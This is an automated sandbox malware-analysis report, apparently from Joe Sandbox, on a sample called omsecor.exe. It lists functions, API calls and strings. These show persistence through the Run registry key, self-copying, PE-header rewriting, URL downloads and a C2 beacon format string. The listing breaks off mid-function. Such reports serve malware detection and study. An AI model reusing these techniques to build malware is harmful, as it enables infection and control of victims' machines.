Opcode ID: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction ID: 478c35e85f2b107ed22a8aba67e00a0e018390ca299f0d6e226d856ee505d4b6
Opcode Fuzzy Hash: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction Fuzzy Hash: AB012C71D05602AADB207FB29A0AB5E7A78DF0076AF20413FF404B61D1CB7C8A449A9D

Function 00403A33 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00401D3D: __amsg_exit.LIBCMT ref: 00401D4B

__amsg_exit.LIBCMT ref: 00403A5F
__lock.LIBCMT ref: 00403A6F
InterlockedDecrement.KERNEL32(?), ref: 00403A8C
InterlockedIncrement.KERNEL32(00601588), ref: 00403AB7

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID:
API String ID: 4129207761-0
Opcode ID: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction ID: 3b707b5fd0894213fb8e8695ce472a26b52a1803b1b57e4fe7db1faaf9775e12
Opcode Fuzzy Hash: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction Fuzzy Hash: 3A018E32E00B119BD611AF6A990974A7B64BB05716F05403BE890773D1C73CAB51DFDE

Function 00401CC6 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00404281,00402202,00000000,00402EFA,FFFFFFFE,?,?,?,?,00402F66), ref: 00401CC8

Part of subcall function 00401B98: TlsGetValue.KERNEL32(00000000,00401CDB,?,?,?,00402F66), ref: 00401B9F
Part of subcall function 00401B98: TlsSetValue.KERNEL32(00000000,?,?,00402F66), ref: 00401BC0

__calloc_crt.LIBCMT ref: 00401CEA

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401C07: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
Part of subcall function 00401C07: InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
Part of subcall function 00401C07: __lock.LIBCMT ref: 00401C86
Part of subcall function 00401C07: ___addlocaleref.LIBCMT ref: 00401CA5

GetCurrentThreadId.KERNEL32 ref: 00401D1A
SetLastError.KERNEL32(00000000,?,?,?,00402F66), ref: 00401D32

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction ID: d2849ffa799b97934cc6d9bfafbcb639600e9549b280b5eba9c9c239b681eae2
Opcode Fuzzy Hash: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction Fuzzy Hash: 2EF0FF325447229AD6363BB96D0AA8F3AA49F41761711093FF580B61F0CF3CD80296AD

Analysis Process: omsecor.exePID: 7296, Parent PID: 7612COMMON

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

opeqmc.exe, xrefs: 0040B36E
/nomove, xrefs: 0040B4D9
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
IueiOod, xrefs: 0040B3A8

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: a37a2c0829b51652c0125789b7ef107c293a8625708184dc08050438480bf6fc
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: a37a2c0829b51652c0125789b7ef107c293a8625708184dc08050438480bf6fc
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
HeapAlloc.KERNEL32(00000000), ref: 0040763F
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNEL32(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNEL32(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNEL32(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNEL32(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocProcessSize
String ID:
API String ID: 1458499590-0
Opcode ID: 93e258daf756a991a400698467a0f3e6930ee28086f0462060147eb388563e29
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 93e258daf756a991a400698467a0f3e6930ee28086f0462060147eb388563e29
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00406E69 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

hOA, xrefs: 00406E7E
Via: , xrefs: 00406FAF
.html, xrefs: 00406F14
0, xrefs: 00406EF5
^nocrypt, xrefs: 00406F5C
^key=, xrefs: 00406F2E
Page generated at: , xrefs: 00407000
From: , xrefs: 00406F8E

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-697497794
Opcode ID: 114e4e40ed3da380897df1d948c25e04c4e8011c16955a8b70e5daac7b5a3a86
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 114e4e40ed3da380897df1d948c25e04c4e8011c16955a8b70e5daac7b5a3a86
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNELBASE(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
0, xrefs: 0040A848

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: ad12cffd4843a03ac357a7cbd35bb16f9c39c4118ba2163eb990dc6e8f3d9bd4
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: ad12cffd4843a03ac357a7cbd35bb16f9c39c4118ba2163eb990dc6e8f3d9bd4
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

x, xrefs: 00407E86
hOAd, xrefs: 00407E91
d, xrefs: 00407E7E
UniqueNum, xrefs: 00407E38

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Function 00406D14 Relevance: 3.0, APIs: 2, Instructions: 22
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetAttemptConnect.WININET(00000000), ref: 00406D18
InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406D2C

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Internet$AttemptConnectOpen
String ID:
API String ID: 2984283330-0
Opcode ID: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction ID: 3045e06cac02f36cd47ad2bbc893350a3e6c997d3593ce6e368a9b0161d3b649
Opcode Fuzzy Hash: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction Fuzzy Hash: 04D05E713171312BE7345B763E48ACB2E4CDF02A61701043AF406D8090D6348851C6E8

Non-executed Functions

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86libraryloadermemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?,00420840,?,00000000), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75A90B80,0000000A,00000008,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403309
VirtualProtect.KERNEL32(75A90B88,0000000A,?,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 0040333A
LoadLibraryW.KERNEL32(atl,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

AtlAxWinInit, xrefs: 00403357
AtlAxGetControl, xrefs: 0040336C
atl, xrefs: 00403340
AtlAxAttachControl, xrefs: 0040335F

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00020002), ref: 00403566
